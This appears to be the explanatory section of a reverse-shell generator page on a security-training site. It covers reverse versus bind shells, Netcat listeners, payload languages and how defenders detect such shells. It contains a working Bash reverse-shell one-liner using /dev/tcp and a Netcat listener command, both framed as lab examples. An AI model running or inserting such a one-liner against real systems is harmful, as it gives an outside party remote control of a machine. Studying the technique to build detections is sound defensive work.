Reverse Shell Generator

A reverse shell is a technique where a program on a target machine opens a network connection back out to a listener you control, and then hands your listener an interactive command prompt on that machine. This tool assembles the exact one-liner for you, but it is strictly a learning aid: only run generated payloads against systems you own or have explicit written permission to test, such as HackerDNA lab machines or a signed penetration-testing engagement. Unauthorised access to a computer is a crime in nearly every country. The banner above says the same thing, and this section reinforces it - treat this page as a defensive and educational resource for understanding an attack so you can detect and stop it.

Reverse shell versus bind shell

The difference is who initiates the connection. A bind shell opens a listening port on the target and waits for you to connect inbound. That rarely works in practice, because inbound connections are usually blocked by firewalls and network address translation. A reverse shell flips the direction: the target reaches out to you. Outbound traffic is often permitted with far fewer restrictions than inbound, especially over common ports like 443, so the target connecting back to your listener frequently slips past perimeter controls that would have blocked a bind shell. Understanding why outbound is the easier direction is the whole reason reverse shells are the default choice for this kind of access.

Catching the shell with a listener

The generated command is only half of the picture. Before you run it you must have a listener waiting on the IP and port you entered. The classic tool is Netcat: nc -lvnp 4444 tells it to listen (-l), be verbose (-v), skip DNS resolution (-n), and use the port you specify (-p). When the target runs its one-liner, the connection lands in that Netcat window and you get a prompt. In a controlled lab you might generate a Bash payload such as bash -i >& /dev/tcp/10.10.14.5/4444 0>&1, start nc -lvnp 4444 on the box at 10.10.14.5, and watch the shell appear the moment the target executes it. That end-to-end loop - listener first, payload second - is the mental model to keep.

Why so many languages

There is no single reverse shell that works everywhere, because you can only use what the target already has installed. A minimal container might not have Netcat but will have /bin/bash and its /dev/tcp pseudo-device. A web server running a PHP application gives you a PHP payload. A data science host almost certainly has Python. Windows targets lean on PowerShell. Offering Bash, Python, PHP, Perl, Ruby, and PowerShell variants means you can match the payload to whatever interpreter is present rather than dragging a new binary onto the machine, which is both noisier and often blocked.

How defenders detect and prevent reverse shells

Because this is a defensive resource, the most valuable part is knowing how to stop the technique. Egress filtering is the first line: a host that only needs to serve web pages has no reason to make arbitrary outbound connections, so restricting outbound traffic to known destinations kills most reverse shells outright. Beyond that, monitoring for unusual outbound connections - a database server suddenly dialling out to a random internet address on a high port - is a strong signal. Endpoint detection and response tools flag suspicious process lineage, such as a web server or service account spawning /bin/sh, bash -i, or powershell.exe, which almost never happens in normal operation. Full command-line logging (for example via auditd on Linux or Sysmon on Windows) captures the tell-tale /dev/tcp redirection or encoded PowerShell one-liner so responders can alert on it. Learn to generate these payloads in a lab, then go build the detections that catch them in production.